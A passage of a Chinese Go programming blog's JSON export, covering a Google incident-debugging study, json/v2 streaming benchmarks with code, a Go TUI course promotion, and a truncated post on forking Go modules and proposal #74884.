艰难的关联：第一个 on-caller 在日志中发现了大量的“permission-denied”错误，经过漫长的排查，并与多个后端团队沟通后，才最终将这些错误与那个错误的配置变更关联起来。 这个案例的教训是，更好的工具（例如，能在推送前验证配置变更的影响）和更早的跨团队沟通，本可以避免这次由小问题演变成的大故障。\n转化为可操作的原则：如何更快地解决问题？ 这项研究为所有负责分布式服务的工程师提供了以下可立即应用的实践原则：\n建立 SLOs 和准确的监控：这是快速有效分类（Triage）的基石。你的指标和告警需要能真实反映用户体验的痛苦，并提供清晰的下一步指引和关键信息的链接。\n有效进行分类：一旦有了监控基础，你需要能够快速判断用户痛苦的严重性和爆炸半径。同时，应根据问题的严重性，建立清晰的沟通渠道和升级流程。\n尽早缓解：为你的服务文档化一套安全的、经过验证的“紧急预案”。这能帮助 on-call 工程师在压力下快速“止血”，为深入排查赢得宝贵时间。\n应用针对常见问题的成熟策略：虽然每个服务都不同，但问题的根本原因往往有共性。当你面对一个新问题时，可以从以下几个常见模式入手提问和排查：\n* **服务错误**：全球性还是局部性？是否与部署、配置变更或实验相关？ * **性能问题（延迟）**：通过追踪（Traces）来定位堆栈中的瓶颈组件。 * **容量问题**：是否有容量相关的告警？是快速耗尽还是缓慢增长？ * **依赖问题**：清晰地了解你的服务的硬依赖，并能够快速查看它们的健康状况。 小结 Google 的这项研究撕开了 SRE 手册中理想化流程的面纱，向我们展示了生产环境调试混乱、迭代、充满不确定性的真实面貌。它告诉我们，专家级的调试能力并非源于僵硬地遵循流程，而是在“检测-分类-调查-缓解”的循环中，基于对系统、工具和常见故障模式的深刻理解，快速形成并验证假设的能力。\n这意味着我们需要构建不仅功能强大，而且在紧急情况下易于使用和理解的观测工具。同时，团队需要培养一种文化，即不断地从事后复盘中学习，将每一次故障都转化为对系统共同理解的深化。最终，最有效的调试，始于对混乱现实的坦然接受。\n资料链接：https://dl.acm.org/doi/10.1145/3400899.3404974\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/10/debugging-incidents-in-google/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/debugging-Incidents-in-google-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/10/debugging-Incidents-in-google\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/mm/dd/debugging-Incidents-in-google\"\u003ehttps://tonybai.com/2025/mm/dd/debugging-Incidents-in-google\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e尽管 \u003ca href=\"https://sre.google/books/\"\u003eGoogle 的 SRE 手册\u003c/a\u003e为我们描绘了理想的运维蓝图，但在“炮火连天”的生产事故现场，工程师的真实反应往往是另一番景象。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/debugging-Incidents-in-google-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e最近，\u003ca href=\"https://dl.acm.org/doi/10.1145/3400899.3404974\"\u003e一篇发表于 ACM Queue 的研究\u003c/a\u003e深入剖析了 Google 工程师（包括 SRE 和 SWE）在处理复杂分布式系统生产问题时的真实行为模式。这项研究通过对大量事后复盘（postmortem）的分析和深度访谈，揭示了不同角色工程师在思维模型、工具选择上的显著差异，并总结出了一套普遍适用的“调试构建块”。对于每一位构建和维护大规模服务的工程师来说，这些来自一线的洞察无疑是一份宝贵的实战指南。\u003c/p\u003e","title":"Google 揭秘生产环境调试心法：SRE 与 SWE 的四大思维差异与实战路径"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2\n大家好，我是Tony Bai。\nGo 开发者长期以来面临一个痛点：标准库 encoding/json 在处理大型 JSON 数据时，即使使用 Encoder/Decoder，也因其内部的全量缓冲机制而导致巨大的内存开销。备受期待的 encoding/json/v2 提案（#71497）旨在从根本上解决这一问题。通过引入全新的底层包 encoding/json/jsontext，v2 实现了真正的流式处理能力。本文将通过具体的、可量化的基准测试，向你展示 v1 的内存陷阱，并演示如何使用 json/v2 高效地实现流式处理大规模 JSON 数据，彻底告别内存爆炸的烦恼。\njson/v1 的“伪流”之痛：一个内存陷阱基准 为了直观地感受 json/v1 在处理大数据时的局限性，我们来建立一个基准测试。我们将分别进行编码（Marshal）和解码（Unmarshal）操作，并观察其内存使用情况。\n关于内存评估：我们通过比较操作前后的 runtime.MemStats.TotalAlloc 来精确测量该操作自身导致的堆内存总分配量。一个真正的流式处理，其内存分配量应该是一个很小的常数（例如，I/O 缓冲区的大小），而与数据总量无关。\n场景一：v1 编码一个巨大的 JSON 数组 我们创建一个包含 100 万个空结构体的 slice，然后使用 json.Encoder 将其写入 io.Discard。\n// jsonv2-streaming/v1/marshal.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;runtime\u0026#34; ) func main() { const numRecords = 1_000_000 in := make([]struct{}, numRecords) out := io.Discard // 多次 GC 以清理 sync.Pools，确保测量准确 for i := 0; i \u0026lt; 5; i++ { runtime.GC() } var statsBefore runtime.MemStats runtime.ReadMemStats(\u0026amp;statsBefore) log.Println(\u0026#34;Starting to encode with json/v1...\u0026#34;) encoder := json.NewEncoder(out) if err := encoder.Encode(\u0026amp;in); err != nil { log.Fatalf(\u0026#34;v1 Encode failed: %v\u0026#34;, err) } log.Println(\u0026#34;Encode finished.\u0026#34;) var statsAfter runtime.MemStats runtime.ReadMemStats(\u0026amp;statsAfter) allocBytes := statsAfter.TotalAlloc - statsBefore.TotalAlloc log.Printf(\u0026#34;Total bytes allocated during Encode: %d bytes (%.2f MiB)\u0026#34;, allocBytes, float64(allocBytes)/1024/1024) } 分析：当你运行此程序，会看到总分配字节数是一个巨大的数字，通常是几兆字节 (MiB)。这是因为 json.Encoder 必须先在内存中将整个 slice 序列化成一个完整的、约几MB（{} 乘以 100 万）的 JSON 字符串，然后才开始写入。这个巨大的字符串就是内存分配的来源。\n在我的Mac上，这个程序的输出如下：\n$go run unmarshal.go 2025/08/09 13:38:47 Starting to decode with json/v1... 2025/08/09 13:38:47 Decode finished. 2025/08/09 13:38:47 Total bytes allocated during Decode: 8394096 bytes (8.01 MiB) 下面再来看看v1版本的json解码。\n场景二：v1 解码一个巨大的 JSON 数组 现在，我们构造一个代表百万空对象的 JSON 字符串，并使用 json.Decoder 解码。\n// jsonv2-streaming/v1/unmarshal.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;log\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;strings\u0026#34; ) func main() { const numRecords = 1_000_000 // 构造一个巨大的 JSON 数组字符串，约 2MB value := \u0026#34;[\u0026#34; + strings.TrimSuffix(strings.Repeat(\u0026#34;{},\u0026#34;, numRecords), \u0026#34;,\u0026#34;) + \u0026#34;]\u0026#34; in := strings.NewReader(value) // 预分配 slice 容量，以排除 slice 自身扩容对内存测量的影响 out := make([]struct{}, 0, numRecords) for i := 0; i \u0026lt; 5; i++ { runtime.GC() } var statsBefore runtime.MemStats runtime.ReadMemStats(\u0026amp;statsBefore) log.Println(\u0026#34;Starting to decode with json/v1...\u0026#34;) decoder := json.NewDecoder(in) if err := decoder.Decode(\u0026amp;out); err != nil { log.Fatalf(\u0026#34;v1 Decode failed: %v\u0026#34;, err) } log.Println(\u0026#34;Decode finished.\u0026#34;) var statsAfter runtime.MemStats runtime.ReadMemStats(\u0026amp;statsAfter) allocBytes := statsAfter.TotalAlloc - statsBefore.TotalAlloc log.Printf(\u0026#34;Total bytes allocated during Decode: %d bytes (%.2f MiB)\u0026#34;, allocBytes, float64(allocBytes)/1024/1024) } 分析：同样，你会看到数兆字节的内存分配。json.Decoder 在反序列化之前，会将整个 JSON 数组作为一个单独的值完整地读入其内部缓冲区。这个缓冲区的大小与输入数据的大小成正比。\n运行该代码，我机器上的输出如下：\n$go run unmarshal.go 2025/08/09 13:38:47 Starting to decode with json/v1... 2025/08/09 13:38:47 Decode finished. 2025/08/09 13:38:47 Total bytes allocated during Decode: 8394096 bytes (8.01 MiB) 从上面两个例子，我们看到：json/v1 的 Encoder 和 Decoder 提供的只是API 层面的流式抽象，其底层实现是全量缓冲的，导致内存复杂度和数据大小成线性关系 (O(N))。这就是“伪流”之痛。\njson/v2 的革命：用正确的 API 实现真流式处理 现在，让我们见证 json/v2 的魔力。我们将使用 v2 推荐的流式 API，来完成与 v1 示例完全相同的任务，并进行内存对比。\n场景一：v2 流式编码一个巨大的 JSON 数组 我们将模拟从数据源逐条获取数据，并使用 jsontext.Encoder 手动构建 JSON 数组流。\n// jsonv2-streaming/v2/marshal.go package main import ( \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;encoding/json/v2\u0026#34; \u0026#34;encoding/json/jsontext\u0026#34; ) func main() { const numRecords = 1_000_000 out := io.Discard for i := 0; i \u0026lt; 5; i++ { runtime.GC() } var statsBefore runtime.MemStats runtime.ReadMemStats(\u0026amp;statsBefore) log.Println(\u0026#34;Starting to encode with json/v2...\u0026#34;) enc := jsontext.NewEncoder(out) // 手动写入数组开始标记 if err := enc.WriteToken(jsontext.BeginArray); err != nil { log.Fatalf(\u0026#34;Failed to write array start: %v\u0026#34;, err) } // 逐个编码元素 for i := 0; i \u0026lt; numRecords; i++ { // 内存中只需要一个空结构体，几乎不占空间 record := struct{}{} if err := json.MarshalEncode(enc, record); err != nil { log.Fatalf(\u0026#34;v2 MarshalEncode failed for record %d: %v\u0026#34;, i, err) } } // 手动写入数组结束标记 if err := enc.WriteToken(jsontext.EndArray); err != nil { log.Fatalf(\u0026#34;Failed to write array end: %v\u0026#34;, err) } log.Println(\u0026#34;Encode finished.\u0026#34;) var statsAfter runtime.MemStats runtime.ReadMemStats(\u0026amp;statsAfter) allocBytes := statsAfter.TotalAlloc - statsBefore.TotalAlloc log.Printf(\u0026#34;Total bytes allocated during Encode: %d bytes (%.2f KiB)\u0026#34;, allocBytes, float64(allocBytes)/1024) } 分析：运行此程序，你会看到总分配字节数是一个非常小的数字，通常是几十千字节 (KiB)，主要用于 Encoder 内部的 I/O 缓冲。v2 将每个元素编码后立即写入，没有在内存中构建那个 2MB 的巨大字符串。\n在我的机器上运行该示例，编码过程实际分配的内存仅有不到15KB：\n$GOEXPERIMENT=jsonv2 go run marshal.go 2025/08/09 13:45:50 Starting to encode with json/v2... 2025/08/09 13:45:50 Encode finished. 2025/08/09 13:45:50 Total bytes allocated during Encode: 15328 bytes (14.97 KiB) 场景二：v2 流式解码一个巨大的 JSON 数组 我们将使用 jsontext.Decoder 和 jsonv2.UnmarshalDecode 的组合来逐个解码元素。\n// jsonv2-streaming/v2/unmarshal.go package main import ( \u0026#34;errors\u0026#34; \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;encoding/json/v2\u0026#34; \u0026#34;encoding/json/jsontext\u0026#34; ) func main() { const numRecords = 1_000_000 value := \u0026#34;[\u0026#34; + strings.TrimSuffix(strings.Repeat(\u0026#34;{},\u0026#34;, numRecords), \u0026#34;,\u0026#34;) + \u0026#34;]\u0026#34; in := strings.NewReader(value) _ = make([]struct{}, 0, numRecords) // out 变量在实际应用中会用到 for i := 0; i \u0026lt; 5; i++ { runtime.GC() } var statsBefore runtime.MemStats runtime.ReadMemStats(\u0026amp;statsBefore) log.Println(\u0026#34;Starting to decode with json/v2...\u0026#34;) dec := jsontext.NewDecoder(in) // 手动读取数组开始标记 \u0026#39;[\u0026#39; tok, err := dec.ReadToken() if err != nil || tok.Kind() != \u0026#39;[\u0026#39; { log.Fatalf(\u0026#34;Expected array start, got %v, err: %v\u0026#34;, tok, err) } // 循环解码数组中的每个元素 for dec.PeekKind() != \u0026#39;]\u0026#39; { var record struct{} if err := json.UnmarshalDecode(dec, \u0026amp;record); err != nil { if errors.Is(err, io.EOF) { break } log.Fatalf(\u0026#34;v2 UnmarshalDecode failed: %v\u0026#34;, err) } // 在实际应用中，这里会处理 record，例如： // out = append(out, record) } log.Println(\u0026#34;Decode finished.\u0026#34;) var statsAfter runtime.MemStats runtime.ReadMemStats(\u0026amp;statsAfter) allocBytes := statsAfter.TotalAlloc - statsBefore.TotalAlloc log.Printf(\u0026#34;Total bytes allocated during Decode: %d bytes (%.2f KiB)\u0026#34;, allocBytes, float64(allocBytes)/1024) } 分析：同样，你会看到总分配字节数非常小。UnmarshalDecode 在循环中每次只读取并解码一个 {} 对象，而 jsontext.Decoder 的内部缓冲区大小是固定的，不会因输入流的增大而膨胀。\n下面是我机器上运行的结果，和v2编码一样，仅需要15KB左右的缓冲区：\n$ GOEXPERIMENT=jsonv2 go run unmarshal.go 2025/08/09 13:55:29 Starting to decode with json/v2... 2025/08/09 13:55:29 Decode finished. 2025/08/09 13:55:29 Total bytes allocated during Decode: 15248 bytes (14.89 KiB) 内存占用对比总结 操作 json/v1 (伪流) 内存分配 json/v2 (真流) 内存分配 结论 Marshal ~8 MiB (与数据大小成正比) ~15 KiB (固定开销) 数量级差异 Unmarshal ~8 MiB (与数据大小成正比) ~15 KiB (固定开销) 数量级差异 这个直接的、数据驱动的对比，无可辩驳地证明了 json/v2 在流式处理方面的革命性突破。它将内存复杂度从 O(N) 降低到了 O(1)，为 Go 语言处理海量 JSON 数据铺平了道路。\n正如提出issue #33714的开发者flimzy所说的那样：json/v2正是json流处理的答案！\n小结 encoding/json/v2 的提案和实现，标志着 Go 在大规模数据处理能力上的一个巨大飞跃。通过将语法和语义分离，并提供底层的、真正的流式 API，v2 彻底解决了 v1 长期存在的内存瓶颈问题。\n对于 Go 开发者而言，这意味着：\n处理超大规模 JSON 不再是难题**：无论是生成还是解析 GB 级别的 JSON 文件或流，都将变得轻而易举，且内存占用可控。 更高的性能和效率：根据 v2 的基准测试，新的实现在解码（Unmarshal）方面比 v1 有 2.7 到 10.2 倍的性能提升。 更灵活的控制力：底层的 jsontext 包为需要进行精细化 JSON 操作的开发者提供了前所未有的能力。 虽然 Go 1.25 json/v2 会以 GOEXPERIMENT 形式落地，但它所展示的强大能力和优秀设计，已经预示了Go JSON 处理的新纪元。我们有充分的理由期待它在未来的 Go 版本中正式发布，成为所有 Go 开发者处理 JSON 数据的首选工具。\n本文涉及的示例代码可以在这里下载。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/true-streaming-support-in-jsonv2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2\"\u003ehttps://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 开发者长期以来面临一个痛点：标准库 encoding/json 在处理大型 JSON 数据时，即使使用 Encoder/Decoder，也因其内部的全量缓冲机制而导致巨大的内存开销。备受期待的 encoding/json/v2 提案（\u003ca href=\"https://github.com/golang/go/issues/71497\"\u003e#71497\u003c/a\u003e）旨在从根本上解决这一问题。通过引入全新的底层包 encoding/json/jsontext，v2 实现了真正的流式处理能力。本文将通过具体的、可量化的基准测试，向你展示 v1 的内存陷阱，并演示如何使用 json/v2 高效地实现流式处理大规模 JSON 数据，彻底告别内存爆炸的烦恼。\u003c/p\u003e","title":"Go json/v2实战：告别内存爆炸，掌握真流式Marshal和Unmarshal"},{"content":"想用Go复刻“Claude Code”？那你得先补上TUI这一课 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n想用Go复刻“Claude Code”？那你得先补上TUI这一课 八月 8, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/08/go-tui-primer\n大家好，我是Tony Bai。\n最近，AI 圈最火的莫过于Anthropic推出的“Claude Code”– 一款基于终端的编码智能体工具：\n当你在终端窗口里，看着 AI 实时地帮你生成、修改、编译、测试和运行一个 Web 应用，并且能立刻看到输出和反馈时，那种感觉只能用“震撼”来形容。\n作为一名 Go 开发者，我当时脑子里冒出的第一个念头就是：\n“如果我能用 Go，在自己的终端里，也实现一套这样的工作流，那该多酷？”\n想象一下：你写一个 CLI 工具，它可以连接到任何一个大模型 API。你给它一个需求，比如“帮我写一个处理用户注册的 Go HTTP Handler”，然后：\n你的终端左侧窗口，开始像打字机一样，流式输出 AI 生成的 Go 代码。 右侧窗口，实时显示出代码的编译状态、单元测试的进度条和结果。 当代码完成时，它自动运行起来，并告诉你：“服务已在 localhost:8080 启动，请测试。” 这个场景，就是我们开发者梦想中的“编码伙伴”，也是一个宏大但并非遥不可及的目标。\n要实现这个目标，除了调用 AI 的 API，最关键、也是我们最容易忽视的一环是——如何构建这样一个复杂的、多窗口的、可实时交互的终端界面？\n答案，就是 TUI (Terminal User Interface) 开发。\n你的下一个 Go 程序，值得拥有一张“脸” 我们很多 Go 开发者，都把技能点加在了后端性能、并发模型上，这当然没错。但我们常常忽略了程序的“脸面”——它的交互体验。\n传统的 CLI 工具，就像一个只会用专业术语说话的机器人，强大但冷漠。而一个现代的 TUI 应用，则像一个能与你沟通的智能助手。\n它能在终端这个我们最熟悉、最高效的环境里，提供类似图形界面的直观体验：\n多窗口布局： 像 VS Code 一样，清晰地划分代码区、状态区、输出区。 实时反馈： 进度条、加载动画、状态指示器，让一切尽在掌握。 交互式组件： 可滚动的列表、可输入的文本框、可选择的菜单，告别死记硬背。 而 Go 语言，凭借其无与伦比的性能和静态编译能力，正是构建这类高性能 TUI 应用的最佳选择。\n但这条路，自学起来并不容易 当你兴致勃勃地去 GitHub 搜索 Go TUI 库时，你可能会发现一些挑战：\n陡峭的思维转变： 最流行的库 bubbletea，用的是一种函数式的 Elm 架构。它的 Model-View-Update 模式，对于习惯了传统命令式编程的 Gopher 来说，像是在学习一门“外语”。 知识点零散： 如何处理异步任务？如何设计可复用的组件？如何美化 UI？这些问题的答案散落在各种英文文档和 GitHub Issue 里，很难形成体系。 缺乏实战引导： 看完基础教程，能写个计数器，但一到真实项目就无从下手，不知道如何将简单的 Demo 组合成一个复杂的应用。 为了帮你扫清这些障碍，让你能把精力聚焦在创造性的工作上，而不是在入门的坑里反复挣扎，我倾力打造了一门付费微专栏——《重塑终端：Go TUI 开发入门课》。\n这门课，就是你通往“用 Go 复刻 Claude Code”梦想的第一块，也是最重要的一块基石。\n在这门课里，你将得到什么？ 本专栏专为有一定 Go 基础，但对 TUI 开发感到陌生或困惑的你而设计。无论你是想打造惊艳的开源工具，还是想给内部平台配一个更酷的客户端，你都能在这里找到清晰的路径。\n通过 5 讲精心设计的内容，你将：\n第 1 讲 | 新利器： 我们将重新认识 TUI，理解它为何在 AI 时代成为 Go 开发者的“新利器”，并为你建立一套坚实的理论认知框架。 第 2 讲 | 核心架构： 彻底解密 bubbletea 背后的 Elm 架构。我将用最直观的方式，带你掌握 Model-View-Update 这一核心思想，这是编写可维护 TUI 应用的基石。 第 3 讲 | 交互之魂： 深入 bubbletea 的消息（Msg）与命令（Cmd）系统。你将学会如何处理键盘、鼠标等各种输入，以及如何优雅地执行网络请求等异步任务而不阻塞界面。 第 4 讲 | 终端美学： 学习使用 Charm 生态中的 Lip Gloss 和 Bubbles 库。我将教你如何为你的 TUI 应用添加漂亮的色彩、布局和边框，并快速集成输入框、列表、进度条等现成组件。 第 5 讲 | 实战串讲： 我们将所有知识融会贯通，从零开始，手把手带你构建一个功能完备的“终端版 GitHub Issue 查看器(如下图)”。这个项目将成为你的代码库，为你未来的 TUI 开发提供一个绝佳的脚手架。 完成这门课后，你将不仅仅是“会用”bubbletea，而是真正“理解”了现代 TUI 应用的构建哲学。你将有足够的能力和信心，去挑战那个“用 Go 复刻 Claude Code”的终极目标。\n梦想再宏大，也要从第一行代码开始。而一个好的课程，能让你的第一行代码，走在最正确的路上。\n今天，微专栏正式上线！扫描下方二维码，立即订阅。让我们一起，用 Go 重塑终端，开启属于你的 AI + TUI 开发之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/08/go-tui-primer/","summary":"\u003ch1 id=\"想用go复刻claude-code那你得先补上tui这一课---tony-bai\"\u003e想用Go复刻“Claude Code”？那你得先补上TUI这一课 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"想用Go复刻“Claude Code”？那你得先补上TUI这一课"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/07/fork-go-module\n大家好，我是Tony Bai。\n今天，我想和你聊一个几乎每个 Go 开发者都经历过的场景，一种我们圈内人“只可意会，不可言传”的痛苦。我称之为 Go 模块的**“分叉之痛” (The Forking Pain)**。\n故事通常是这样开始的：你在一个项目中，依赖了一个第三方库。某天，你发现这个库里有一个 Bug，不大不小，但确实影响了你的业务。幸运的是，你深入代码后，发现自己完全有能力修复它，可能只需要改动三五行代码。\n你的脑海中浮现出一条清晰、理想的路径：\n在 GitHub 上 Fork 这个项目。 在你的 Fork 中修改代码，修复 Bug。 在自己的主项目中验证修复效果。 向上游（Upstream）提交一个干净、优雅的 Pull Request。 然而，当你满怀信心地开始第一步时，现实的残酷才刚刚拉开序幕。\n为了让你 Fork 的项目能在本地独立编译通过，你必须将 go.mod 文件中的 module 指令，从 module github.com/upstream/foo 改为 module github.com/bigwhite/foo。而这一改动，就像推倒了第一块多米诺骨牌，一场“全局替换”的噩梦正式降临。\n你不得不祭出 sed、grep 或是 IDE 的全局搜索替换功能，将代码库中成百上千个对原仓库的内部引用路径，从 import “github.com/upstream/foo/pkg”，一个个地替换成 “github.com/bigwhite/foo/pkg”。\n最终，一个原本 3 行代码的优雅修复，变成了一个包含 300 行导入路径变更的、极其嘈杂的 PR。这就是 Go 模块的“分叉之痛”——它将本应是轻松愉快的社区贡献，变成了一场令人身心俱疲的机械劳动。\n问题剖析：我们究竟在“痛”什么？ 要理解这种痛苦，我们必须触及 Go 模块系统的一个核心设计：导入路径的唯一性和权威性。\n在 Go 的世界里，一个包的导入路径，例如 github.com/upstream/foo/pkg，并不仅仅是一个用于定位代码的地址。它更像是这个包的“身份证号”或者“全名”（Canonical Name），是其在整个 Go 生态中唯一的、权威的身份标识。\n这个设计在绝大多数情况下是优点，它保证了模块生态的清晰和无歧义。但当我们 Fork 一个模块时，这个优点就立刻变成了痛点。因为我们 Fork 的目的，通常只是临时修复或改进，我们并不想为它创造一个新的“身份”，我们只想让它暂时“扮演”原来的角色。\n但 Go 工具链不允许这种“扮演”。一旦你在 go.mod 中声明了一个新的模块路径，你就必须在整个模块内部，将所有对自身的引用，都更新到这个新的身份上，以维持逻辑上的自洽。\n这种设计，在 Fork 场景下，给我们带来了三重具体的痛苦：\n繁琐且易错的手工劳动：全局替换是一个极其粗暴的操作。在大型项目中，你很难保证每一次替换都精准无误，遗漏或改错的情况时有发生，为本就复杂的调试过程增添了不必要的干扰。\n嘈杂的变更集 (Noisy Diff)：一个 PR 最重要的价值，在于清晰地展示其逻辑变更。但大量的导入路径修改，将真正有价值的几行代码，淹没在成百上千行无意义的变更海洋中。这不仅极大地干扰了 Code Reviewer 的视线，也让 git blame 等工具的输出变得难以追溯。\n地狱级的上游合并 (Merge Hell)：这是最致命、最令人崩溃的一点。当你修复完 Bug，准备向上游提交 PR 时，你往往需要先将上游 main 分支的最新变更同步到你的 Fork 中。此时，你会发现，上游的每一次代码重构、每一次文件移动，都会与你本地的路径修改产生大量的合并冲突。这些冲突毫无逻辑可言，纯粹是路径不一致造成的机械性问题，但解决它们却需要耗费数小时甚至数天的时间。\n这些痛苦，极大地抑制了社区贡献的热情。许多本可以被轻松修复的 Bug，开发者宁愿选择忍受，也不愿踏入这个“分叉地狱”。\n现状与主流“解决方法” 面对这种痛苦，社区经过多年的摸索，也形成了几种主流的、但都不完美的“解决方法”：\n方法 A: 全局搜索替换 (Brute-force Search \u0026amp; Replace)\n这是最直接、最常见的方法。开发者在 Fork 后，硬着头皮完成全局替换。它的优点是“能用”，但缺点也显而易见——上述的三重痛苦，它一个都没能解决。\n方法 B: replace 指令（下游解决方案）\n这是一种更“聪明”的方法，但它治标不治本。开发者可以在使用方（也就是你的主项目）的 go.mod 文件中，添加一条 replace 指令：\n// in my-main-project/go.mod replace github.com/upstream/foo v1.2.3 =\u0026gt; github.com/bigwhite/foo v1.2.4-fix 这条指令告诉你的主项目：“当你需要 github.com/upstream/foo 这个模块时，请去我的 Fork 地址 github.com/bigwhite/foo 下载。”\n这确实能解决下游项目的编译和使用问题。但它完全没有解决 Fork 仓库自身的编译和维护问题。你 Fork 下来的那个项目，如果不在全局替换导入路径的情况下，它自己是无法独立编译通过的。你依然活在“合并地狱”的阴影之下。\n方法 C: Vendor 代码（重量级方案）\n这是一种更古老、更决绝的方案：将第三方库的源代码，直接完整地复制到自己项目的 vendor 目录中。这彻底切断了与上游 Git 仓库的联系，虽然解决了编译问题，但也引入了极其沉重的维护负担。你将很难同步上游未来的功能更新和重要的安全修复。\n新提案解读：#74884 能否带来曙光？ 正是在这样的背景下，Go 核心贡献者之一的 Josharian，在 Go 官方仓库提出了 Issue #74884: proposal: cmd/go: make it easier to fork modules。这个提案，为终结这场噩梦带来了一线曙光。\n提案的核心思想极其简单和优雅：在 fork 后的 go.mod 文件中，允许一个特殊的、不带版本号的 replace 指令。\n让我们来看一个具体的例子。假设你 fork 了 github.com/upstream/foo，并在 go.mod 中修改了模块名：\n// In your fork: github.com/bigwhite/foo/go.mod module github.com/bigwhite/foo 此时，你不需要去修改任何 .go 文件。你只需要在 go.mod 中，再增加下面这一行神奇的指令：\nreplace github.com/upstream/foo =\u0026gt; github.com/bigwhite/foo 这条指令的语义是：告诉 Go 工具链：“在编译我这个模块（github.com/bigwhite/foo）时，只要看到任何对 